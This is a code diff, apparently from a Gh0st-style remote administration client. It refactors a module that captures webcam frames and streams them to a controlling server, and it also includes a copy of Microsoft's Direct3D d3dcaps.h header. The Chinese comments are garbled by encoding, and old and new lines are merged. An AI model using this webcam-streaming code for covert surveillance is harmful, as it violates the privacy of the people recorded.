// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen(); This->WaitForDialogOpen();
#if USING_ZLIB
const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
const int fps = 8;// ֡<><D6A1>
#else
const int fps = 8;// ֡<><D6A1>
#endif
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
timeBeginPeriod(1);
while (This->m_bIsWorking) while (This->m_bIsWorking)
{ {
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
if ((GetTickCount() - dwLastScreen) < 150) int span = sleep-(GetTickCount64() - dwLastScreen);
Sleep(100); Sleep(span > 0 ? span : 1);
if (span < 0)
dwLastScreen = GetTickCount(); printf("SendScreen Span = %d ms\n", span);
This->SendNextScreen(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>صĴ<D8B5><C4B4><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD>sendNextScreen <20><><EFBFBD><EFBFBD> dwLastScreen = GetTickCount64();
if(FALSE == This->SendNextScreen())
break;
} }
timeEndPeriod(1);
This->Destroy(); This->Destroy();
std::cout<<"CVideoManager WorkThread end\n"; std::cout<<"CVideoManager WorkThread end\n";
@@ -60,7 +74,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
CVideoManager::~CVideoManager() CVideoManager::~CVideoManager()
{ {
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE); InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
m_CapVideo.m_bExit = TRUE;
WaitForSingleObject(m_hWorkThread, INFINITE); WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread); CloseHandle(m_hWorkThread);
std::cout<<"CVideoManager ~CVideoManager \n"; std::cout<<"CVideoManager ~CVideoManager \n";
@@ -69,10 +83,13 @@ CVideoManager::~CVideoManager()
delete m_pVideoCodec; delete m_pVideoCodec;
m_pVideoCodec = NULL; m_pVideoCodec = NULL;
} }
if (lpBuffer)
delete [] lpBuffer;
} }
void CVideoManager::Destroy() void CVideoManager::Destroy()
{ {
m_bIsWorking = FALSE;
std::cout<<"CVideoManager Destroy \n"; std::cout<<"CVideoManager Destroy \n";
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD> if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
{ {
@@ -83,26 +100,25 @@ void CVideoManager::Destroy()
void CVideoManager::SendBitMapInfor() void CVideoManager::SendBitMapInfor()
{ {
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO); const int dwBytesLength = 1 + sizeof(BITMAPINFO);
LPBYTE szBuffer = new BYTE[dwBytesLength]; BYTE szBuffer[dwBytesLength + 3] = { 0 };
if (szBuffer == NULL) szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
return;
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; //+ ͷ
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO)); memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength); m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
delete [] szBuffer;
} }
void CVideoManager::SendNextScreen() BOOL CVideoManager::SendNextScreen()
{ {
DWORD dwBmpImageSize=0; DWORD dwBmpImageSize=0;
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB(); LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
// token + IsCompress + m_fccHandler + DIB if(lpDIB == NULL)
int nHeadLen = 1 + 1 + 4; return FALSE;
UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage; // token + IsCompress + m_fccHandler + DIB
LPBYTE lpBuffer = new BYTE[nBufferLen]; const int nHeadLen = 1 + 1 + 4;
UINT nBufferLen = nHeadLen + dwBmpImageSize;
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
lpBuffer[0] = TOKEN_WEBCAM_DIB; lpBuffer[0] = TOKEN_WEBCAM_DIB;
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9> lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
@@ -120,8 +136,7 @@ void CVideoManager::SendNextScreen()
if (!nCompressLen) if (!nCompressLen)
{ {
// some thing error // some thing error
delete [] lpBuffer; return FALSE;
return;
} }
//<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD> //<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void) //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void)
@@ -137,7 +152,7 @@ void CVideoManager::SendNextScreen()
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen); m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
delete [] lpBuffer; return TRUE;
} }
@@ -150,6 +165,20 @@ VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
NotifyDialogIsOpen(); NotifyDialogIsOpen();
break; break;
} }
case COMMAND_WEBCAM_ENABLECOMPRESS: // Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_pVideoCodec)
InterlockedExchange((LPLONG)&m_bIsCompress, true);
printf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
break;
}
case COMMAND_WEBCAM_DISABLECOMPRESS: // ԭʼ<D4AD><CABC><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD>
{
InterlockedExchange((LPLONG)&m_bIsCompress, false);
printf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
break;
}
} }
} }

View File

@@ -22,19 +22,20 @@ public:
BOOL m_bIsWorking; BOOL m_bIsWorking;
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
void CVideoManager::SendBitMapInfor(); void SendBitMapInfor();
void CVideoManager::SendNextScreen(); BOOL SendNextScreen();
static DWORD WorkThread(LPVOID lParam); static DWORD WorkThread(LPVOID lParam);
CCaptureVideo m_CapVideo; CCaptureVideo m_CapVideo;
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
BOOL CVideoManager::Initialize(); BOOL Initialize();
DWORD m_fccHandler; DWORD m_fccHandler;
bool m_bIsCompress; bool m_bIsCompress;
LPBYTE lpBuffer; // ץͼ<D7A5><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD> CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD>
void CVideoManager::Destroy(); void Destroy();
}; };
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_) #endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)

1696
client/d3d/d3d.h Normal file

File diff suppressed because it is too large Load Diff

609
client/d3d/d3dcaps.h Normal file
View File

@@ -0,0 +1,609 @@
/*==========================================================================;
*
* Copyright (C) Microsoft Corporation. All Rights Reserved.
*
* File: d3dcaps.h
* Content: Direct3D capabilities include file
*
***************************************************************************/
#include <winapifamily.h>
#pragma region Desktop Family
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
#ifndef _D3DCAPS_H
#define _D3DCAPS_H
/*
* Pull in DirectDraw include file automatically:
*/
#include "ddraw.h"
#ifndef DIRECT3D_VERSION
#define DIRECT3D_VERSION 0x0700
#endif
#if defined(_X86_) || defined(_IA64_)
#pragma pack(4)
#endif
/* Description of capabilities of transform */
typedef struct _D3DTRANSFORMCAPS {
DWORD dwSize;
DWORD dwCaps;
} D3DTRANSFORMCAPS, *LPD3DTRANSFORMCAPS;
#define D3DTRANSFORMCAPS_CLIP 0x00000001L /* Will clip whilst transforming */
/* Description of capabilities of lighting */
typedef struct _D3DLIGHTINGCAPS {
DWORD dwSize;
DWORD dwCaps; /* Lighting caps */
DWORD dwLightingModel; /* Lighting model - RGB or mono */
DWORD dwNumLights; /* Number of lights that can be handled */
} D3DLIGHTINGCAPS, *LPD3DLIGHTINGCAPS;
#define D3DLIGHTINGMODEL_RGB 0x00000001L
#define D3DLIGHTINGMODEL_MONO 0x00000002L
#define D3DLIGHTCAPS_POINT 0x00000001L /* Point lights supported */
#define D3DLIGHTCAPS_SPOT 0x00000002L /* Spot lights supported */
#define D3DLIGHTCAPS_DIRECTIONAL 0x00000004L /* Directional lights supported */
#if(DIRECT3D_VERSION < 0x700)
#define D3DLIGHTCAPS_PARALLELPOINT 0x00000008L /* Parallel point lights supported */
#endif
#if(DIRECT3D_VERSION < 0x500)
#define D3DLIGHTCAPS_GLSPOT 0x00000010L /* GL syle spot lights supported */
#endif
/* Description of capabilities for each primitive type */
typedef struct _D3DPrimCaps {
DWORD dwSize;
DWORD dwMiscCaps; /* Capability flags */
DWORD dwRasterCaps;
DWORD dwZCmpCaps;
DWORD dwSrcBlendCaps;
DWORD dwDestBlendCaps;
DWORD dwAlphaCmpCaps;
DWORD dwShadeCaps;
DWORD dwTextureCaps;
DWORD dwTextureFilterCaps;
DWORD dwTextureBlendCaps;
DWORD dwTextureAddressCaps;
DWORD dwStippleWidth; /* maximum width and height of */
DWORD dwStippleHeight; /* of supported stipple (up to 32x32) */
} D3DPRIMCAPS, *LPD3DPRIMCAPS;
/* D3DPRIMCAPS dwMiscCaps */
#define D3DPMISCCAPS_MASKPLANES 0x00000001L
#define D3DPMISCCAPS_MASKZ 0x00000002L
#define D3DPMISCCAPS_LINEPATTERNREP 0x00000004L
#define D3DPMISCCAPS_CONFORMANT 0x00000008L
#define D3DPMISCCAPS_CULLNONE 0x00000010L
#define D3DPMISCCAPS_CULLCW 0x00000020L
#define D3DPMISCCAPS_CULLCCW 0x00000040L
/* D3DPRIMCAPS dwRasterCaps */
#define D3DPRASTERCAPS_DITHER 0x00000001L
#define D3DPRASTERCAPS_ROP2 0x00000002L
#define D3DPRASTERCAPS_XOR 0x00000004L
#define D3DPRASTERCAPS_PAT 0x00000008L
#define D3DPRASTERCAPS_ZTEST 0x00000010L
#define D3DPRASTERCAPS_SUBPIXEL 0x00000020L
#define D3DPRASTERCAPS_SUBPIXELX 0x00000040L
#define D3DPRASTERCAPS_FOGVERTEX 0x00000080L
#define D3DPRASTERCAPS_FOGTABLE 0x00000100L
#define D3DPRASTERCAPS_STIPPLE 0x00000200L
#if(DIRECT3D_VERSION >= 0x0500)
#define D3DPRASTERCAPS_ANTIALIASSORTDEPENDENT 0x00000400L
#define D3DPRASTERCAPS_ANTIALIASSORTINDEPENDENT 0x00000800L
#define D3DPRASTERCAPS_ANTIALIASEDGES 0x00001000L
#define D3DPRASTERCAPS_MIPMAPLODBIAS 0x00002000L
#define D3DPRASTERCAPS_ZBIAS 0x00004000L
#define D3DPRASTERCAPS_ZBUFFERLESSHSR 0x00008000L
#define D3DPRASTERCAPS_FOGRANGE 0x00010000L
#define D3DPRASTERCAPS_ANISOTROPY 0x00020000L
#endif /* DIRECT3D_VERSION >= 0x0500 */
#if(DIRECT3D_VERSION >= 0x0600)
#define D3DPRASTERCAPS_WBUFFER 0x00040000L
#define D3DPRASTERCAPS_TRANSLUCENTSORTINDEPENDENT 0x00080000L
#define D3DPRASTERCAPS_WFOG 0x00100000L
#define D3DPRASTERCAPS_ZFOG 0x00200000L
#endif /* DIRECT3D_VERSION >= 0x0600 */
/* D3DPRIMCAPS dwZCmpCaps, dwAlphaCmpCaps */
#define D3DPCMPCAPS_NEVER 0x00000001L
#define D3DPCMPCAPS_LESS 0x00000002L
#define D3DPCMPCAPS_EQUAL 0x00000004L
#define D3DPCMPCAPS_LESSEQUAL 0x00000008L
#define D3DPCMPCAPS_GREATER 0x00000010L
#define D3DPCMPCAPS_NOTEQUAL 0x00000020L
#define D3DPCMPCAPS_GREATEREQUAL 0x00000040L
#define D3DPCMPCAPS_ALWAYS 0x00000080L
/* D3DPRIMCAPS dwSourceBlendCaps, dwDestBlendCaps */
#define D3DPBLENDCAPS_ZERO 0x00000001L
#define D3DPBLENDCAPS_ONE 0x00000002L
#define D3DPBLENDCAPS_SRCCOLOR 0x00000004L
#define D3DPBLENDCAPS_INVSRCCOLOR 0x00000008L
#define D3DPBLENDCAPS_SRCALPHA 0x00000010L
#define D3DPBLENDCAPS_INVSRCALPHA 0x00000020L
#define D3DPBLENDCAPS_DESTALPHA 0x00000040L
#define D3DPBLENDCAPS_INVDESTALPHA 0x00000080L
#define D3DPBLENDCAPS_DESTCOLOR 0x00000100L
#define D3DPBLENDCAPS_INVDESTCOLOR 0x00000200L
#define D3DPBLENDCAPS_SRCALPHASAT 0x00000400L
#define D3DPBLENDCAPS_BOTHSRCALPHA 0x00000800L
#define D3DPBLENDCAPS_BOTHINVSRCALPHA 0x00001000L
/* D3DPRIMCAPS dwShadeCaps */
#define D3DPSHADECAPS_COLORFLATMONO 0x00000001L
#define D3DPSHADECAPS_COLORFLATRGB 0x00000002L
#define D3DPSHADECAPS_COLORGOURAUDMONO 0x00000004L
#define D3DPSHADECAPS_COLORGOURAUDRGB 0x00000008L
#define D3DPSHADECAPS_COLORPHONGMONO 0x00000010L
#define D3DPSHADECAPS_COLORPHONGRGB 0x00000020L
#define D3DPSHADECAPS_SPECULARFLATMONO 0x00000040L
#define D3DPSHADECAPS_SPECULARFLATRGB 0x00000080L
#define D3DPSHADECAPS_SPECULARGOURAUDMONO 0x00000100L
#define D3DPSHADECAPS_SPECULARGOURAUDRGB 0x00000200L
#define D3DPSHADECAPS_SPECULARPHONGMONO 0x00000400L
#define D3DPSHADECAPS_SPECULARPHONGRGB 0x00000800L
#define D3DPSHADECAPS_ALPHAFLATBLEND 0x00001000L
#define D3DPSHADECAPS_ALPHAFLATSTIPPLED 0x00002000L
#define D3DPSHADECAPS_ALPHAGOURAUDBLEND 0x00004000L
#define D3DPSHADECAPS_ALPHAGOURAUDSTIPPLED 0x00008000L
#define D3DPSHADECAPS_ALPHAPHONGBLEND 0x00010000L
#define D3DPSHADECAPS_ALPHAPHONGSTIPPLED 0x00020000L
#define D3DPSHADECAPS_FOGFLAT 0x00040000L
#define D3DPSHADECAPS_FOGGOURAUD 0x00080000L
#define D3DPSHADECAPS_FOGPHONG 0x00100000L
/* D3DPRIMCAPS dwTextureCaps */
/*
* Perspective-correct texturing is supported
*/
#define D3DPTEXTURECAPS_PERSPECTIVE 0x00000001L
/*
* Power-of-2 texture dimensions are required
*/
#define D3DPTEXTURECAPS_POW2 0x00000002L
/*
* Alpha in texture pixels is supported
*/
#define D3DPTEXTURECAPS_ALPHA 0x00000004L
/*
* Color-keyed textures are supported
*/
#define D3DPTEXTURECAPS_TRANSPARENCY 0x00000008L
/*
* obsolete, see D3DPTADDRESSCAPS_BORDER
*/
#define D3DPTEXTURECAPS_BORDER 0x00000010L
/*
* Only square textures are supported
*/
#define D3DPTEXTURECAPS_SQUAREONLY 0x00000020L
#if(DIRECT3D_VERSION >= 0x0600)
/*
* Texture indices are not scaled by the texture size prior
* to interpolation.
*/
#define D3DPTEXTURECAPS_TEXREPEATNOTSCALEDBYSIZE 0x00000040L
/*
* Device can draw alpha from texture palettes
*/
#define D3DPTEXTURECAPS_ALPHAPALETTE 0x00000080L
/*
* Device can use non-POW2 textures if:
* 1) D3DTEXTURE_ADDRESS is set to CLAMP for this texture's stage
* 2) D3DRS_WRAP(N) is zero for this texture's coordinates
* 3) mip mapping is not enabled (use magnification filter only)
*/
#define D3DPTEXTURECAPS_NONPOW2CONDITIONAL 0x00000100L
#endif /* DIRECT3D_VERSION >= 0x0600 */
#if(DIRECT3D_VERSION >= 0x0700)
// 0x00000200L unused
/*
* Device can divide transformed texture coordinates by the
* COUNTth texture coordinate (can do D3DTTFF_PROJECTED)
*/
#define D3DPTEXTURECAPS_PROJECTED 0x00000400L
/*
* Device can do cubemap textures
*/
#define D3DPTEXTURECAPS_CUBEMAP 0x00000800L
#define D3DPTEXTURECAPS_COLORKEYBLEND 0x00001000L
#endif /* DIRECT3D_VERSION >= 0x0700 */
/* D3DPRIMCAPS dwTextureFilterCaps */
#define D3DPTFILTERCAPS_NEAREST 0x00000001L
#define D3DPTFILTERCAPS_LINEAR 0x00000002L
#define D3DPTFILTERCAPS_MIPNEAREST 0x00000004L
#define D3DPTFILTERCAPS_MIPLINEAR 0x00000008L
#define D3DPTFILTERCAPS_LINEARMIPNEAREST 0x00000010L
#define D3DPTFILTERCAPS_LINEARMIPLINEAR 0x00000020L
#if(DIRECT3D_VERSION >= 0x0600)
/* Device3 Min Filter */
#define D3DPTFILTERCAPS_MINFPOINT 0x00000100L
#define D3DPTFILTERCAPS_MINFLINEAR 0x00000200L
#define D3DPTFILTERCAPS_MINFANISOTROPIC 0x00000400L
/* Device3 Mip Filter */
#define D3DPTFILTERCAPS_MIPFPOINT 0x00010000L
#define D3DPTFILTERCAPS_MIPFLINEAR 0x00020000L
/* Device3 Mag Filter */
#define D3DPTFILTERCAPS_MAGFPOINT 0x01000000L
#define D3DPTFILTERCAPS_MAGFLINEAR 0x02000000L
#define D3DPTFILTERCAPS_MAGFANISOTROPIC 0x04000000L
#define D3DPTFILTERCAPS_MAGFAFLATCUBIC 0x08000000L
#define D3DPTFILTERCAPS_MAGFGAUSSIANCUBIC 0x10000000L
#endif /* DIRECT3D_VERSION >= 0x0600 */
/* D3DPRIMCAPS dwTextureBlendCaps */
#define D3DPTBLENDCAPS_DECAL 0x00000001L
#define D3DPTBLENDCAPS_MODULATE 0x00000002L
#define D3DPTBLENDCAPS_DECALALPHA 0x00000004L
#define D3DPTBLENDCAPS_MODULATEALPHA 0x00000008L
#define D3DPTBLENDCAPS_DECALMASK 0x00000010L
#define D3DPTBLENDCAPS_MODULATEMASK 0x00000020L
#define D3DPTBLENDCAPS_COPY 0x00000040L
#if(DIRECT3D_VERSION >= 0x0500)
#define D3DPTBLENDCAPS_ADD 0x00000080L
#endif /* DIRECT3D_VERSION >= 0x0500 */
/* D3DPRIMCAPS dwTextureAddressCaps */
#define D3DPTADDRESSCAPS_WRAP 0x00000001L
#define D3DPTADDRESSCAPS_MIRROR 0x00000002L
#define D3DPTADDRESSCAPS_CLAMP 0x00000004L
#if(DIRECT3D_VERSION >= 0x0500)
#define D3DPTADDRESSCAPS_BORDER 0x00000008L
#define D3DPTADDRESSCAPS_INDEPENDENTUV 0x00000010L
#endif /* DIRECT3D_VERSION >= 0x0500 */
#if(DIRECT3D_VERSION >= 0x0600)
/* D3DDEVICEDESC dwStencilCaps */
#define D3DSTENCILCAPS_KEEP 0x00000001L
#define D3DSTENCILCAPS_ZERO 0x00000002L
#define D3DSTENCILCAPS_REPLACE 0x00000004L
#define D3DSTENCILCAPS_INCRSAT 0x00000008L
#define D3DSTENCILCAPS_DECRSAT 0x00000010L
#define D3DSTENCILCAPS_INVERT 0x00000020L
#define D3DSTENCILCAPS_INCR 0x00000040L
#define D3DSTENCILCAPS_DECR 0x00000080L
/* D3DDEVICEDESC dwTextureOpCaps */
#define D3DTEXOPCAPS_DISABLE 0x00000001L
#define D3DTEXOPCAPS_SELECTARG1 0x00000002L
#define D3DTEXOPCAPS_SELECTARG2 0x00000004L
#define D3DTEXOPCAPS_MODULATE 0x00000008L
#define D3DTEXOPCAPS_MODULATE2X 0x00000010L
#define D3DTEXOPCAPS_MODULATE4X 0x00000020L
#define D3DTEXOPCAPS_ADD 0x00000040L
#define D3DTEXOPCAPS_ADDSIGNED 0x00000080L
#define D3DTEXOPCAPS_ADDSIGNED2X 0x00000100L
#define D3DTEXOPCAPS_SUBTRACT 0x00000200L
#define D3DTEXOPCAPS_ADDSMOOTH 0x00000400L
#define D3DTEXOPCAPS_BLENDDIFFUSEALPHA 0x00000800L
#define D3DTEXOPCAPS_BLENDTEXTUREALPHA 0x00001000L
#define D3DTEXOPCAPS_BLENDFACTORALPHA 0x00002000L
#define D3DTEXOPCAPS_BLENDTEXTUREALPHAPM 0x00004000L
#define D3DTEXOPCAPS_BLENDCURRENTALPHA 0x00008000L
#define D3DTEXOPCAPS_PREMODULATE 0x00010000L
#define D3DTEXOPCAPS_MODULATEALPHA_ADDCOLOR 0x00020000L
#define D3DTEXOPCAPS_MODULATECOLOR_ADDALPHA 0x00040000L
#define D3DTEXOPCAPS_MODULATEINVALPHA_ADDCOLOR 0x00080000L
#define D3DTEXOPCAPS_MODULATEINVCOLOR_ADDALPHA 0x00100000L
#define D3DTEXOPCAPS_BUMPENVMAP 0x00200000L
#define D3DTEXOPCAPS_BUMPENVMAPLUMINANCE 0x00400000L
#define D3DTEXOPCAPS_DOTPRODUCT3 0x00800000L
/* D3DDEVICEDESC dwFVFCaps flags */
#define D3DFVFCAPS_TEXCOORDCOUNTMASK 0x0000ffffL /* mask for texture coordinate count field */
#define D3DFVFCAPS_DONOTSTRIPELEMENTS 0x00080000L /* Device prefers that vertex elements not be stripped */
#endif /* DIRECT3D_VERSION >= 0x0600 */
/*
* Description for a device.
* This is used to describe a device that is to be created or to query
* the current device.
*/
typedef struct _D3DDeviceDesc {
DWORD dwSize; /* Size of D3DDEVICEDESC structure */
DWORD dwFlags; /* Indicates which fields have valid data */
D3DCOLORMODEL dcmColorModel; /* Color model of device */
DWORD dwDevCaps; /* Capabilities of device */
D3DTRANSFORMCAPS dtcTransformCaps; /* Capabilities of transform */
BOOL bClipping; /* Device can do 3D clipping */
D3DLIGHTINGCAPS dlcLightingCaps; /* Capabilities of lighting */
D3DPRIMCAPS dpcLineCaps;
D3DPRIMCAPS dpcTriCaps;
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
DWORD dwMaxBufferSize; /* Maximum execute buffer size */
DWORD dwMaxVertexCount; /* Maximum vertex count */
#if(DIRECT3D_VERSION >= 0x0500)
// *** New fields for DX5 *** //
// Width and height caps are 0 for legacy HALs.
DWORD dwMinTextureWidth, dwMinTextureHeight;
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
DWORD dwMinStippleWidth, dwMaxStippleWidth;
DWORD dwMinStippleHeight, dwMaxStippleHeight;
#endif /* DIRECT3D_VERSION >= 0x0500 */
#if(DIRECT3D_VERSION >= 0x0600)
// New fields for DX6
DWORD dwMaxTextureRepeat;
DWORD dwMaxTextureAspectRatio;
DWORD dwMaxAnisotropy;
// Guard band that the rasterizer can accommodate
// Screen-space vertices inside this space but outside the viewport
// will get clipped properly.
D3DVALUE dvGuardBandLeft;
D3DVALUE dvGuardBandTop;
D3DVALUE dvGuardBandRight;
D3DVALUE dvGuardBandBottom;
D3DVALUE dvExtentsAdjust;
DWORD dwStencilCaps;
DWORD dwFVFCaps;
DWORD dwTextureOpCaps;
WORD wMaxTextureBlendStages;
WORD wMaxSimultaneousTextures;
#endif /* DIRECT3D_VERSION >= 0x0600 */
} D3DDEVICEDESC, *LPD3DDEVICEDESC;
#if(DIRECT3D_VERSION >= 0x0700)
typedef struct _D3DDeviceDesc7 {
DWORD dwDevCaps; /* Capabilities of device */
D3DPRIMCAPS dpcLineCaps;
D3DPRIMCAPS dpcTriCaps;
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
DWORD dwMinTextureWidth, dwMinTextureHeight;
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
DWORD dwMaxTextureRepeat;
DWORD dwMaxTextureAspectRatio;
DWORD dwMaxAnisotropy;
D3DVALUE dvGuardBandLeft;
D3DVALUE dvGuardBandTop;
D3DVALUE dvGuardBandRight;
D3DVALUE dvGuardBandBottom;
D3DVALUE dvExtentsAdjust;
DWORD dwStencilCaps;
DWORD dwFVFCaps;
DWORD dwTextureOpCaps;
WORD wMaxTextureBlendStages;
WORD wMaxSimultaneousTextures;
DWORD dwMaxActiveLights;
D3DVALUE dvMaxVertexW;
GUID deviceGUID;
WORD wMaxUserClipPlanes;
WORD wMaxVertexBlendMatrices;
DWORD dwVertexProcessingCaps;
DWORD dwReserved1;
DWORD dwReserved2;
DWORD dwReserved3;
DWORD dwReserved4;
} D3DDEVICEDESC7, *LPD3DDEVICEDESC7;
#endif /* DIRECT3D_VERSION >= 0x0700 */
#define D3DDEVICEDESCSIZE (sizeof(D3DDEVICEDESC))
#define D3DDEVICEDESC7SIZE (sizeof(D3DDEVICEDESC7))
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK)(GUID FAR *lpGuid, LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC, LPD3DDEVICEDESC, LPVOID);
#if(DIRECT3D_VERSION >= 0x0700)
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK7)(LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC7, LPVOID);
#endif /* DIRECT3D_VERSION >= 0x0700 */
/* D3DDEVICEDESC dwFlags indicating valid fields */
#define D3DDD_COLORMODEL 0x00000001L /* dcmColorModel is valid */
#define D3DDD_DEVCAPS 0x00000002L /* dwDevCaps is valid */
#define D3DDD_TRANSFORMCAPS 0x00000004L /* dtcTransformCaps is valid */
#define D3DDD_LIGHTINGCAPS 0x00000008L /* dlcLightingCaps is valid */
#define D3DDD_BCLIPPING 0x00000010L /* bClipping is valid */
#define D3DDD_LINECAPS 0x00000020L /* dpcLineCaps is valid */
#define D3DDD_TRICAPS 0x00000040L /* dpcTriCaps is valid */
#define D3DDD_DEVICERENDERBITDEPTH 0x00000080L /* dwDeviceRenderBitDepth is valid */
#define D3DDD_DEVICEZBUFFERBITDEPTH 0x00000100L /* dwDeviceZBufferBitDepth is valid */
#define D3DDD_MAXBUFFERSIZE 0x00000200L /* dwMaxBufferSize is valid */
#define D3DDD_MAXVERTEXCOUNT 0x00000400L /* dwMaxVertexCount is valid */
/* D3DDEVICEDESC dwDevCaps flags */
#define D3DDEVCAPS_FLOATTLVERTEX 0x00000001L /* Device accepts floating point */
/* for post-transform vertex data */
#define D3DDEVCAPS_SORTINCREASINGZ 0x00000002L /* Device needs data sorted for increasing Z */
#define D3DDEVCAPS_SORTDECREASINGZ 0X00000004L /* Device needs data sorted for decreasing Z */
#define D3DDEVCAPS_SORTEXACT 0x00000008L /* Device needs data sorted exactly */
#define D3DDEVCAPS_EXECUTESYSTEMMEMORY 0x00000010L /* Device can use execute buffers from system memory */
#define D3DDEVCAPS_EXECUTEVIDEOMEMORY 0x00000020L /* Device can use execute buffers from video memory */
#define D3DDEVCAPS_TLVERTEXSYSTEMMEMORY 0x00000040L /* Device can use TL buffers from system memory */
#define D3DDEVCAPS_TLVERTEXVIDEOMEMORY 0x00000080L /* Device can use TL buffers from video memory */
#define D3DDEVCAPS_TEXTURESYSTEMMEMORY 0x00000100L /* Device can texture from system memory */
#define D3DDEVCAPS_TEXTUREVIDEOMEMORY 0x00000200L /* Device can texture from device memory */
#if(DIRECT3D_VERSION >= 0x0500)
